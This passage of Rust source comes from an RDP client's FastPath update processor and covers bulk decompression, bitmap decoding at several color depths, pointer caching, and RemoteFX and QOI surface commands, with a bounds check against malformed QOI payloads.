3, 2, 1, 6, 5, 4, 9, 8, 7, 0xff, 0xff, 0xff, // bottom row
|
||||||
|
15, 14, 13, 18, 17, 16, 21, 20, 19, 0xff, 0xff, 0xff, // top row
|
||||||
|
];
|
||||||
|
let bitmap_update = BitmapUpdateData {
|
||||||
|
rectangles: vec![BitmapData {
|
||||||
|
rectangle: InclusiveRectangle {
|
||||||
|
left: 1,
|
||||||
|
top: 0,
|
||||||
|
right: 2,
|
||||||
|
bottom: 1,
|
||||||
|
},
|
||||||
|
width: 3,
|
||||||
|
height: 2,
|
||||||
|
bits_per_pixel: 24,
|
||||||
|
compression_flags: Compression::empty(),
|
||||||
|
compressed_data_header: None,
|
||||||
|
bitmap_data: &bitmap_data,
|
||||||
|
}],
|
||||||
|
};
|
||||||
|
|
||||||
|
processor.process_bitmap_update(&mut image, bitmap_update).unwrap();
|
||||||
|
|
||||||
|
let pixel = |x: usize, y: usize| -> [u8; 4] {
|
||||||
|
let offset = (y * usize::from(image.width()) + x) * 4;
|
||||||
|
image.data()[offset..offset + 4]
|
||||||
|
.try_into()
|
||||||
|
.expect("pixel has four channels")
|
||||||
|
};
|
||||||
|
assert_eq!(pixel(1, 0), [13, 14, 15, 255]);
|
||||||
|
assert_eq!(pixel(2, 0), [16, 17, 18, 255]);
|
||||||
|
assert_eq!(pixel(1, 1), [1, 2, 3, 255]);
|
||||||
|
assert_eq!(pixel(2, 1), [4, 5, 6, 255]);
|
||||||
|
assert_eq!(pixel(3, 0), [0, 0, 0, 0]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub enum UpdateKind {
|
||||||
|
None,
|
||||||
|
Region(InclusiveRectangle),
|
||||||
|
PointerDefault,
|
||||||
|
PointerHidden,
|
||||||
|
PointerPosition { x: u16, y: u16 },
|
||||||
|
PointerBitmap(Arc<DecodedPointer>),
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct Processor {
|
||||||
|
complete_data: CompleteData,
|
||||||
|
rfx_handler: rfx::DecodingContext,
|
||||||
|
marker_processor: FrameMarkerProcessor,
|
||||||
|
bitmap_stream_decoder: BitmapStreamDecoder,
|
||||||
|
pointer_cache: PointerCache,
|
||||||
|
use_system_pointer: bool,
|
||||||
|
mouse_pos_update: Option<(u16, u16)>,
|
||||||
|
enable_server_pointer: bool,
|
||||||
|
pointer_software_rendering: bool,
|
||||||
|
/// Bulk decompressor for server-to-client compressed PDUs.
|
||||||
|
/// `None` when compression was not negotiated.
|
||||||
|
bulk_decompressor: Option<BulkCompressor>,
|
||||||
|
/// Current 8bpp color palette. Updated by Palette fast-path updates.
|
||||||
|
palette: Palette,
|
||||||
|
#[cfg(feature = "qoiz")]
|
||||||
|
zdctx: zstd_safe::DCtx<'static>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Processor {
|
||||||
|
pub fn update_mouse_pos(&mut self, x: u16, y: u16) {
|
||||||
|
self.mouse_pos_update = Some((x, y));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Process input fast path frame and return list of updates.
|
||||||
|
pub fn process(
|
||||||
|
&mut self,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
input: &[u8],
|
||||||
|
output: &mut WriteBuf,
|
||||||
|
) -> SessionResult<Vec<UpdateKind>> {
|
||||||
|
let mut processor_updates = Vec::new();
|
||||||
|
|
||||||
|
if let Some((x, y)) = self.mouse_pos_update.take() {
|
||||||
|
if let Some(rect) = image.move_pointer(x, y)? {
|
||||||
|
processor_updates.push(UpdateKind::Region(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut input = ReadCursor::new(input);
|
||||||
|
|
||||||
|
let header = decode_cursor::<FastPathHeader>(&mut input).map_err(SessionError::decode)?;
|
||||||
|
trace!(fast_path_header = ?header, "Received Fast-Path packet");
|
||||||
|
|
||||||
|
// A single FastPath output PDU can contain multiple updates.
|
||||||
|
// Loop over all updates within the PDU payload.
|
||||||
|
while !input.is_empty() {
|
||||||
|
let update_result = self.process_single_update(&mut input, image, output)?;
|
||||||
|
processor_updates.extend(update_result);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(processor_updates)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Process a single FastPath update from the cursor, advancing past it.
|
||||||
|
fn process_single_update(
|
||||||
|
&mut self,
|
||||||
|
input: &mut ReadCursor<'_>,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
output: &mut WriteBuf,
|
||||||
|
) -> SessionResult<Vec<UpdateKind>> {
|
||||||
|
let mut processor_updates = Vec::new();
|
||||||
|
|
||||||
|
let update_pdu = decode_cursor::<FastPathUpdatePdu<'_>>(input).map_err(SessionError::decode)?;
|
||||||
|
trace!(fast_path_update_fragmentation = ?update_pdu.fragmentation);
|
||||||
|
|
||||||
|
// Decompress the payload if the server sent it compressed.
|
||||||
|
let decompressed_data;
|
||||||
|
let payload = if let Some(flags) = update_pdu.compression_flags {
|
||||||
|
if flags.contains(CompressionFlags::COMPRESSED) || flags.contains(CompressionFlags::FLUSHED) {
|
||||||
|
let bulk_flags =
|
||||||
|
u32::from(flags.bits()) | u32::from(update_pdu.compression_type.map_or(0, |ct| ct.as_u8()));
|
||||||
|
|
||||||
|
if let Some(ref mut decompressor) = self.bulk_decompressor {
|
||||||
|
let decompressed = decompressor
|
||||||
|
.decompress(update_pdu.data, bulk_flags)
|
||||||
|
.map_err(|e| reason_err!("FastPath", "bulk decompression failed: {}", e))?;
|
||||||
|
// Copy decompressed data before accessing metrics (releases the mutable borrow).
|
||||||
|
decompressed_data = decompressed.to_vec();
|
||||||
|
debug!(
|
||||||
|
compressed_size = update_pdu.data.len(),
|
||||||
|
decompressed_size = decompressed_data.len(),
|
||||||
|
compression_type = ?update_pdu.compression_type,
|
||||||
|
compression_ratio = format_args!("{:.2}x", decompressor.compression_ratio()),
|
||||||
|
total_compressed = decompressor.total_compressed_bytes(),
|
||||||
|
total_uncompressed = decompressor.total_uncompressed_bytes(),
|
||||||
|
"Decompressed FastPath update"
|
||||||
|
);
|
||||||
|
decompressed_data.as_slice()
|
||||||
|
} else {
|
||||||
|
warn!("Received compressed FastPath data but no decompressor is configured");
|
||||||
|
update_pdu.data
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Compression flags present but COMPRESSED bit not set — pass data through.
|
||||||
|
// Still need to inform the decompressor of FLUSHED/AT_FRONT flags even
|
||||||
|
// without compressed payload.
|
||||||
|
update_pdu.data
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
update_pdu.data
|
||||||
|
};
|
||||||
|
|
||||||
|
let processed_complete_data = self.complete_data.process_data(payload, update_pdu.fragmentation);
|
||||||
|
|
||||||
|
let update_code = update_pdu.update_code;
|
||||||
|
|
||||||
|
let Some(data) = processed_complete_data else {
|
||||||
|
return Ok(processor_updates);
|
||||||
|
};
|
||||||
|
|
||||||
|
let update = FastPathUpdate::decode_with_code(data.as_slice(), update_code);
|
||||||
|
|
||||||
|
match update {
|
||||||
|
Ok(FastPathUpdate::SurfaceCommands(surface_commands)) => {
|
||||||
|
trace!("Received Surface Commands: {} pieces", surface_commands.len());
|
||||||
|
let update_region = self.process_surface_commands(image, output, surface_commands)?;
|
||||||
|
processor_updates.push(UpdateKind::Region(update_region));
|
||||||
|
}
|
||||||
|
Ok(FastPathUpdate::Bitmap(bitmap_update)) => {
|
||||||
|
trace!("Received bitmap update");
|
||||||
|
let updates = self.process_bitmap_update(image, bitmap_update)?;
|
||||||
|
processor_updates.extend(updates);
|
||||||
|
}
|
||||||
|
Ok(FastPathUpdate::Pointer(update)) => {
|
||||||
|
let updates = self.process_pointer_update(image, update)?;
|
||||||
|
processor_updates.extend(updates);
|
||||||
|
}
|
||||||
|
Ok(FastPathUpdate::Palette(palette_data)) => {
|
||||||
|
trace!("Received palette update");
|
||||||
|
self.palette.process_update(palette_data);
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
// FIXME: This seems to be a way of special-handling the error case in FastPathUpdate::decode_cursor_with_code
|
||||||
|
// to ignore the unsupported update PDUs, but this is a fragile logic and the rationale behind it is not
|
||||||
|
// obvious.
|
||||||
|
if let DecodeErrorKind::InvalidField { field, reason } = e.kind() {
|
||||||
|
warn!(field, reason, "Received invalid Fast-Path update");
|
||||||
|
processor_updates.push(UpdateKind::None);
|
||||||
|
} else {
|
||||||
|
return Err(custom_err!("Fast-Path", e));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(processor_updates)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Process a bitmap update, shared between fast-path and slow-path pipelines.
|
||||||
|
pub fn process_bitmap_update(
|
||||||
|
&mut self,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
bitmap_update: BitmapUpdateData<'_>,
|
||||||
|
) -> SessionResult<Vec<UpdateKind>> {
|
||||||
|
let mut buf = Vec::new();
|
||||||
|
let mut update_kind = UpdateKind::None;
|
||||||
|
|
||||||
|
for update in bitmap_update.rectangles {
|
||||||
|
trace!("{update:?}");
|
||||||
|
buf.clear();
|
||||||
|
|
||||||
|
let width = update.width.min(update.rectangle.width());
|
||||||
|
let height = update.height.min(update.rectangle.height());
|
||||||
|
if width == 0 || height == 0 {
|
||||||
|
warn!(
|
||||||
|
bitmap_width = update.width,
|
||||||
|
bitmap_height = update.height,
|
||||||
|
destination = ?update.rectangle,
|
||||||
|
"Skipping bitmap with an empty source or destination"
|
||||||
|
);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// `width` and `height` describe the source bitmap layout, while
|
||||||
|
// destination bounds describe where its visible portion is drawn.
|
||||||
|
// Servers can send source rows wider than the destination; preserve
|
||||||
|
// that source stride and discard only the excess source extent.
|
||||||
|
let bitmap_rectangle = InclusiveRectangle {
|
||||||
|
left: update.rectangle.left,
|
||||||
|
top: update.rectangle.top,
|
||||||
|
right: update.rectangle.left + width - 1,
|
||||||
|
bottom: update.rectangle.top + height - 1,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Bitmap data is either compressed or uncompressed, depending
|
||||||
|
// on whether the BITMAP_COMPRESSION flag is present in the
|
||||||
|
// flags field.
|
||||||
|
let update_rectangle = if update
|
||||||
|
.compression_flags
|
||||||
|
.contains(ironrdp_pdu::bitmap::Compression::BITMAP_COMPRESSION)
|
||||||
|
{
|
||||||
|
if update.bits_per_pixel == 32 {
|
||||||
|
// Compressed bitmaps at a color depth of 32 bpp are compressed using RDP 6.0
|
||||||
|
// Bitmap Compression and stored inside an RDP 6.0 Bitmap Compressed Stream
|
||||||
|
// structure ([MS-RDPEGDI] section 2.2.2.5.1).
|
||||||
|
debug!("32 bpp compressed RDP6_BITMAP_STREAM");
|
||||||
|
|
||||||
|
match self.bitmap_stream_decoder.decode_bitmap_stream_to_rgb24(
|
||||||
|
update.bitmap_data,
|
||||||
|
&mut buf,
|
||||||
|
usize::from(update.width),
|
||||||
|
usize::from(update.height),
|
||||||
|
) {
|
||||||
|
// RDP6 bitmap streams are bottom-up (upstream #1524).
|
||||||
|
Ok(()) => image.apply_rgb24(&buf, &bitmap_rectangle, update.width, true)?,
|
||||||
|
Err(err) => {
|
||||||
|
warn!("Invalid RDP6_BITMAP_STREAM: {err}");
|
||||||
|
update.rectangle.clone()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Compressed bitmaps not in 32 bpp format are compressed using Interleaved
|
||||||
|
// RLE and encapsulated in an RLE Compressed Bitmap Stream structure (section
|
||||||
|
// 2.2.9.1.1.3.1.2.4).
|
||||||
|
debug!(bpp = update.bits_per_pixel, "Non-32 bpp compressed RLE_BITMAP_STREAM",);
|
||||||
|
|
||||||
|
match ironrdp_graphics::rle::decompress(
|
||||||
|
update.bitmap_data,
|
||||||
|
&mut buf,
|
||||||
|
usize::from(update.width),
|
||||||
|
usize::from(update.height),
|
||||||
|
usize::from(update.bits_per_pixel),
|
||||||
|
) {
|
||||||
|
Ok(RlePixelFormat::Rgb16) => image.apply_rgb16_bitmap(&buf, &bitmap_rectangle, update.width)?,
|
||||||
|
Ok(RlePixelFormat::Rgb15) => image.apply_rgb15_bitmap(&buf, &bitmap_rectangle, update.width)?,
|
||||||
|
Ok(RlePixelFormat::Rgb24) => image.apply_bgr24_bitmap(&buf, &bitmap_rectangle, update.width)?,
|
||||||
|
Ok(RlePixelFormat::Rgb8) => image.apply_rgb8_with_palette(
|
||||||
|
&buf,
|
||||||
|
&bitmap_rectangle,
|
||||||
|
self.palette.colors(),
|
||||||
|
update.width,
|
||||||
|
)?,
|
||||||
|
|
||||||
|
Err(e) => {
|
||||||
|
warn!("Invalid RLE-compressed bitmap: {e}");
|
||||||
|
update.rectangle.clone()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Uncompressed bitmap data is formatted as a bottom-up, left-to-right series of
|
||||||
|
// pixels. Each pixel is a whole number of bytes. Each row contains a multiple of
|
||||||
|
// four bytes (including up to three bytes of padding, as necessary).
|
||||||
|
// [MS-RDPBCGR] 2.2.9.1.1.3.1.2.2
|
||||||
|
trace!("Uncompressed raw bitmap");
|
||||||
|
|
||||||
|
let bpp = usize::from(update.bits_per_pixel);
|
||||||
|
let width = usize::from(update.width);
|
||||||
|
let bytes_per_pixel = bpp.div_ceil(8);
|
||||||
|
let row_bytes = width * bytes_per_pixel;
|
||||||
|
let padded_row_bytes = (row_bytes + 3) & !3;
|
||||||
|
|
||||||
|
if padded_row_bytes != row_bytes {
|
||||||
|
// Strip only byte padding; the tightly packed rows still retain
|
||||||
|
// `update.width` pixels and therefore their source stride.
|
||||||
|
buf.clear();
|
||||||
|
for row in update
|
||||||
|
.bitmap_data
|
||||||
|
.chunks_exact(padded_row_bytes)
|
||||||
|
.take(usize::from(update.height))
|
||||||
|
{
|
||||||
|
buf.extend_from_slice(&row[..row_bytes]);
|
||||||
|
}
|
||||||
|
|
||||||
|
match update.bits_per_pixel {
|
||||||
|
8 => image.apply_rgb8_with_palette(
|
||||||
|
&buf,
|
||||||
|
&bitmap_rectangle,
|
||||||
|
self.palette.colors(),
|
||||||
|
update.width,
|
||||||
|
)?,
|
||||||
|
15 => image.apply_rgb15_bitmap(&buf, &bitmap_rectangle, update.width)?,
|
||||||
|
16 => image.apply_rgb16_bitmap(&buf, &bitmap_rectangle, update.width)?,
|
||||||
|
24 => image.apply_bgr24_bitmap(&buf, &bitmap_rectangle, update.width)?,
|
||||||
|
32 => image.apply_rgb32_bitmap(&buf, PixelFormat::BgrX32, &bitmap_rectangle, update.width)?,
|
||||||
|
_ => {
|
||||||
|
warn!("Unsupported uncompressed bitmap depth: {bpp} bpp");
|
||||||
|
update.rectangle.clone()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
match update.bits_per_pixel {
|
||||||
|
8 => image.apply_rgb8_with_palette(
|
||||||
|
update.bitmap_data,
|
||||||
|
&bitmap_rectangle,
|
||||||
|
self.palette.colors(),
|
||||||
|
update.width,
|
||||||
|
)?,
|
||||||
|
15 => image.apply_rgb15_bitmap(update.bitmap_data, &bitmap_rectangle, update.width)?,
|
||||||
|
16 => image.apply_rgb16_bitmap(update.bitmap_data, &bitmap_rectangle, update.width)?,
|
||||||
|
24 => image.apply_bgr24_bitmap(update.bitmap_data, &bitmap_rectangle, update.width)?,
|
||||||
|
32 => image.apply_rgb32_bitmap(
|
||||||
|
update.bitmap_data,
|
||||||
|
PixelFormat::BgrX32,
|
||||||
|
&bitmap_rectangle,
|
||||||
|
update.width,
|
||||||
|
)?,
|
||||||
|
_ => {
|
||||||
|
warn!("Unsupported uncompressed bitmap depth: {bpp} bpp");
|
||||||
|
update.rectangle.clone()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
match update_kind {
|
||||||
|
UpdateKind::Region(current) => update_kind = UpdateKind::Region(current.union(&update_rectangle)),
|
||||||
|
_ => update_kind = UpdateKind::Region(update_rectangle),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(vec![update_kind])
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Process a pointer update, shared between fast-path and slow-path pipelines.
|
||||||
|
pub fn process_pointer_update(
|
||||||
|
&mut self,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
update: PointerUpdateData<'_>,
|
||||||
|
) -> SessionResult<Vec<UpdateKind>> {
|
||||||
|
let mut processor_updates = Vec::new();
|
||||||
|
|
||||||
|
if !self.enable_server_pointer {
|
||||||
|
return Ok(processor_updates);
|
||||||
|
}
|
||||||
|
|
||||||
|
let bitmap_target = if self.pointer_software_rendering {
|
||||||
|
PointerBitmapTarget::Software
|
||||||
|
} else {
|
||||||
|
PointerBitmapTarget::Accelerated
|
||||||
|
};
|
||||||
|
|
||||||
|
match update {
|
||||||
|
PointerUpdateData::SetHidden => {
|
||||||
|
processor_updates.push(UpdateKind::PointerHidden);
|
||||||
|
if self.pointer_software_rendering && !self.use_system_pointer {
|
||||||
|
self.use_system_pointer = true;
|
||||||
|
if let Some(rect) = image.hide_pointer()? {
|
||||||
|
processor_updates.push(UpdateKind::Region(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PointerUpdateData::SetDefault => {
|
||||||
|
processor_updates.push(UpdateKind::PointerDefault);
|
||||||
|
if self.pointer_software_rendering && !self.use_system_pointer {
|
||||||
|
self.use_system_pointer = true;
|
||||||
|
if let Some(rect) = image.hide_pointer()? {
|
||||||
|
processor_updates.push(UpdateKind::Region(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PointerUpdateData::SetPosition(position) => {
|
||||||
|
if self.use_system_pointer || !self.pointer_software_rendering {
|
||||||
|
processor_updates.push(UpdateKind::PointerPosition {
|
||||||
|
x: position.x,
|
||||||
|
y: position.y,
|
||||||
|
});
|
||||||
|
} else if let Some(rect) = image.move_pointer(position.x, position.y)? {
|
||||||
|
processor_updates.push(UpdateKind::Region(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PointerUpdateData::Color(pointer) => {
|
||||||
|
let cache_index = pointer.cache_index;
|
||||||
|
|
||||||
|
let decoded_pointer = Arc::new(
|
||||||
|
DecodedPointer::decode_color_pointer_attribute(&pointer, bitmap_target)
|
||||||
|
.map_err(|e| SessionError::custom("failed to decode color pointer attribute", e))?,
|
||||||
|
);
|
||||||
|
|
||||||
|
let _ = self
|
||||||
|
.pointer_cache
|
||||||
|
.insert(usize::from(cache_index), Arc::clone(&decoded_pointer));
|
||||||
|
|
||||||
|
if !self.pointer_software_rendering {
|
||||||
|
processor_updates.push(UpdateKind::PointerBitmap(Arc::clone(&decoded_pointer)));
|
||||||
|
} else if let Some(rect) = image.update_pointer(decoded_pointer)? {
|
||||||
|
processor_updates.push(UpdateKind::Region(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PointerUpdateData::Cached(cached) => {
|
||||||
|
let cache_index = cached.cache_index;
|
||||||
|
|
||||||
|
if let Some(cached_pointer) = self.pointer_cache.get(usize::from(cache_index)) {
|
||||||
|
// Disable system pointer
|
||||||
|
processor_updates.push(UpdateKind::PointerHidden);
|
||||||
|
self.use_system_pointer = false;
|
||||||
|
// Send graphics update
|
||||||
|
if !self.pointer_software_rendering {
|
||||||
|
processor_updates.push(UpdateKind::PointerBitmap(Arc::clone(&cached_pointer)));
|
||||||
|
} else if let Some(rect) = image.update_pointer(cached_pointer)? {
|
||||||
|
processor_updates.push(UpdateKind::Region(rect));
|
||||||
|
} else {
|
||||||
|
// In case pointer was hidden previously
|
||||||
|
if let Some(rect) = image.show_pointer()? {
|
||||||
|
processor_updates.push(UpdateKind::Region(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
warn!("Cached pointer not found {}", cache_index);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PointerUpdateData::New(pointer) => {
|
||||||
|
let cache_index = pointer.color_pointer.cache_index;
|
||||||
|
|
||||||
|
let decoded_pointer = Arc::new(
|
||||||
|
DecodedPointer::decode_pointer_attribute(&pointer, bitmap_target)
|
||||||
|
.map_err(|e| SessionError::custom("failed to decode pointer attribute", e))?,
|
||||||
|
);
|
||||||
|
|
||||||
|
let _ = self
|
||||||
|
.pointer_cache
|
||||||
|
.insert(usize::from(cache_index), Arc::clone(&decoded_pointer));
|
||||||
|
|
||||||
|
if !self.pointer_software_rendering {
|
||||||
|
processor_updates.push(UpdateKind::PointerBitmap(Arc::clone(&decoded_pointer)));
|
||||||
|
} else if let Some(rect) = image.update_pointer(decoded_pointer)? {
|
||||||
|
processor_updates.push(UpdateKind::Region(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PointerUpdateData::Large(pointer) => {
|
||||||
|
let cache_index = pointer.cache_index;
|
||||||
|
|
||||||
|
let decoded_pointer: Arc<DecodedPointer> = Arc::new(
|
||||||
|
DecodedPointer::decode_large_pointer_attribute(&pointer, bitmap_target)
|
||||||
|
.map_err(|e| SessionError::custom("failed to decode large pointer attribute", e))?,
|
||||||
|
);
|
||||||
|
|
||||||
|
let _ = self
|
||||||
|
.pointer_cache
|
||||||
|
.insert(usize::from(cache_index), Arc::clone(&decoded_pointer));
|
||||||
|
|
||||||
|
if !self.pointer_software_rendering {
|
||||||
|
processor_updates.push(UpdateKind::PointerBitmap(Arc::clone(&decoded_pointer)));
|
||||||
|
} else if let Some(rect) = image.update_pointer(decoded_pointer)? {
|
||||||
|
processor_updates.push(UpdateKind::Region(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(processor_updates)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn process_surface_commands(
|
||||||
|
&mut self,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
output: &mut WriteBuf,
|
||||||
|
surface_commands: Vec<SurfaceCommand<'_>>,
|
||||||
|
) -> SessionResult<InclusiveRectangle> {
|
||||||
|
let mut update_rectangle = None;
|
||||||
|
|
||||||
|
for command in surface_commands {
|
||||||
|
match command {
|
||||||
|
SurfaceCommand::SetSurfaceBits(bits) | SurfaceCommand::StreamSurfaceBits(bits) => {
|
||||||
|
let codec_id = CodecId::from_u8(bits.extended_bitmap_data.codec_id).ok_or_else(|| {
|
||||||
|
reason_err!(
|
||||||
|
"Fast-Path",
|
||||||
|
"unexpected codec ID: {:x}",
|
||||||
|
bits.extended_bitmap_data.codec_id
|
||||||
|
)
|
||||||
|
})?;
|
||||||
|
|
||||||
|
trace!(?codec_id, "Surface bits");
|
||||||
|
|
||||||
|
let destination = bits.destination;
|
||||||
|
// TODO(@pacmancoder): Correct rectangle conversion logic should
|
||||||
|
// be revisited when `rectangle_processing.rs` from
|
||||||
|
// `ironrdp-graphics` will be refactored to use generic `Rectangle`
|
||||||
|
// trait instead of hardcoded `InclusiveRectangle`.
|
||||||
|
let destination = InclusiveRectangle {
|
||||||
|
left: destination.left,
|
||||||
|
top: destination.top,
|
||||||
|
right: destination.right - 1,
|
||||||
|
bottom: destination.bottom - 1,
|
||||||
|
};
|
||||||
|
match codec_id {
|
||||||
|
CODEC_ID_NONE => {
|
||||||
|
let ext_data = bits.extended_bitmap_data;
|
||||||
|
let source_width = destination.width();
|
||||||
|
let rectangle = match ext_data.bpp {
|
||||||
|
8 => image.apply_rgb8_with_palette(
|
||||||
|
ext_data.data,
|
||||||
|
&destination,
|
||||||
|
self.palette.colors(),
|
||||||
|
source_width,
|
||||||
|
)?,
|
||||||
|
15 => image.apply_rgb15_bitmap(ext_data.data, &destination, source_width)?,
|
||||||
|
16 => image.apply_rgb16_bitmap(ext_data.data, &destination, source_width)?,
|
||||||
|
24 => image.apply_bgr24_bitmap(ext_data.data, &destination, source_width)?,
|
||||||
|
32 => image.apply_rgb32_bitmap(
|
||||||
|
ext_data.data,
|
||||||
|
PixelFormat::BgrX32,
|
||||||
|
&destination,
|
||||||
|
source_width,
|
||||||
|
)?,
|
||||||
|
bpp => {
|
||||||
|
warn!("Unsupported surface CODEC_ID_NONE bpp: {bpp}");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
update_rectangle = update_rectangle
|
||||||
|
.map(|rect: InclusiveRectangle| rect.union(&rectangle))
|
||||||
|
.or(Some(rectangle));
|
||||||
|
}
|
||||||
|
CODEC_ID_REMOTEFX => {
|
||||||
|
let mut data = ReadCursor::new(bits.extended_bitmap_data.data);
|
||||||
|
while !data.is_empty() {
|
||||||
|
let (_frame_id, rectangle) = self.rfx_handler.decode(image, &destination, &mut data)?;
|
||||||
|
update_rectangle = update_rectangle
|
||||||
|
.map(|rect: InclusiveRectangle| rect.union(&rectangle))
|
||||||
|
.or(Some(rectangle));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#[cfg(feature = "qoi")]
|
||||||
|
ironrdp_pdu::rdp::capability_sets::CODEC_ID_QOI => {
|
||||||
|
qoi_apply(
|
||||||
|
image,
|
||||||
|
destination,
|
||||||
|
bits.extended_bitmap_data.data,
|
||||||
|
&mut update_rectangle,
|
||||||
|
)?;
|
||||||
|
}
|
||||||
|
#[cfg(feature = "qoiz")]
|
||||||
|
ironrdp_pdu::rdp::capability_sets::CODEC_ID_QOIZ => {
|
||||||
|
let compressed = &bits.extended_bitmap_data.data;
|
||||||
|
let mut input = zstd_safe::InBuffer::around(compressed);
|
||||||
|
let mut data = vec![0; compressed.len() * 4];
|
||||||
|
let mut pos = 0;
|
||||||
|
loop {
|
||||||
|
let mut output = zstd_safe::OutBuffer::around_pos(data.as_mut_slice(), pos);
|
||||||
|
self.zdctx
|
||||||
|
.decompress_stream(&mut output, &mut input)
|
||||||
|
.map_err(zstd_safe::get_error_name)
|
||||||
|
.map_err(|e| reason_err!("zstd", "{}", e))?;
|
||||||
|
pos = output.pos();
|
||||||
|
if pos == output.capacity() {
|
||||||
|
data.resize(data.capacity() * 2, 0);
|
||||||
|
} else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
qoi_apply(image, destination, &data, &mut update_rectangle)?;
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
warn!("Unsupported codec ID: {}", bits.extended_bitmap_data.codec_id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
SurfaceCommand::FrameMarker(marker) => {
|
||||||
|
trace!(
|
||||||
|
"Frame marker: action {:?} with ID #{}",
|
||||||
|
marker.frame_action,
|
||||||
|
marker.frame_id.unwrap_or(0)
|
||||||
|
);
|
||||||
|
self.marker_processor.process(&marker, output)?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(update_rectangle.unwrap_or_else(InclusiveRectangle::empty))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(feature = "qoi")]
|
||||||
|
fn qoi_apply(
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
destination: InclusiveRectangle,
|
||||||
|
data: &[u8],
|
||||||
|
update_rectangle: &mut Option<InclusiveRectangle>,
|
||||||
|
) -> SessionResult<()> {
|
||||||
|
let (header, decoded) = qoi::decode_to_vec(data).map_err(|e| reason_err!("QOI decode", "{}", e))?;
|
||||||
|
|
||||||
|
// Guard against a decoded buffer that doesn't match the destination
|
||||||
|
// rectangle. `apply_rgb24`/`apply_rgba32` derive the row count from the
|
||||||
|
// decoded length, and the only bounds check downstream (`rect_fits`)
|
||||||
|
// validates the rectangle against the image, not the buffer against the
|
||||||
|
// rectangle. A malformed/oversized QOI payload would otherwise drive the
|
||||||
|
// per-row index past `self.data` and panic (client-side DoS).
|
||||||
|
let channels = match header.channels {
|
||||||
|
qoi::Channels::Rgb => 3,
|
||||||
|
qoi::Channels::Rgba => 4,
|
||||||
|
};
|
||||||
|
let expected = usize::from(destination.width()) * usize::from(destination.height()) * channels;
|
||||||
|
if decoded.len() != expected {
|
||||||
|
return Err(reason_err!(
|
||||||
|
"QOI decode",
|
||||||
|
"decoded {} bytes, expected {} for {}x{} ({} channels)",
|
||||||
|
decoded.len(),
|
||||||
|
expected,
|
||||||
|
destination.width(),
|
||||||
|
destination.height(),
|
||||||
|
channels
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
let rectangle = match header.channels {
|
||||||
|
qoi::Channels::Rgb => image.apply_rgb24(&decoded, &destination, destination.width(), false)?,
|
||||||
|
qoi::Channels::Rgba => image.apply_rgba32(&decoded, &destination, false)?,
|
||||||
|
};
|
||||||
|
|
||||||
|
*update_rectangle = update_rectangle
|
||||||
|
.as_ref()
|
||||||
|
.map(|rect: &InclusiveRectangle| rect.union(&rectangle))
|
||||||
|
.or(Some(rectangle));
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct ProcessorBuilder {
|
||||||
|
pub io_channel_id: u16,
|
||||||
|
pub user_channel_id: u16,
|
||||||
|
pub share_id: u32,
|
||||||
|
/// Ignore server pointer updates.
|
||||||
|
pub enable_server_pointer: bool,
|
||||||
|
/// Use software rendering mode for pointer bitmap generation. When this option is active,
|
||||||
|
/// `UpdateKind::PointerBitmap` will not be generated. Remote pointer will be drawn
|
||||||
|
/// via software rendering on top of the output image.
|
||||||
|
pub pointer_software_rendering: bool,
|
||||||
|
/// Bulk decompressor for server-to-client compressed PDUs.
|
||||||
|
/// `None` when compression was not negotiated.
|
||||||
|
pub bulk_decompressor: Option<BulkCompressor>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ProcessorBuilder {
|
||||||
|
pub fn build(self) -> Processor {
|
||||||
|
Processor {
|
||||||
|
complete_data: CompleteData::new(),
|
||||||
|
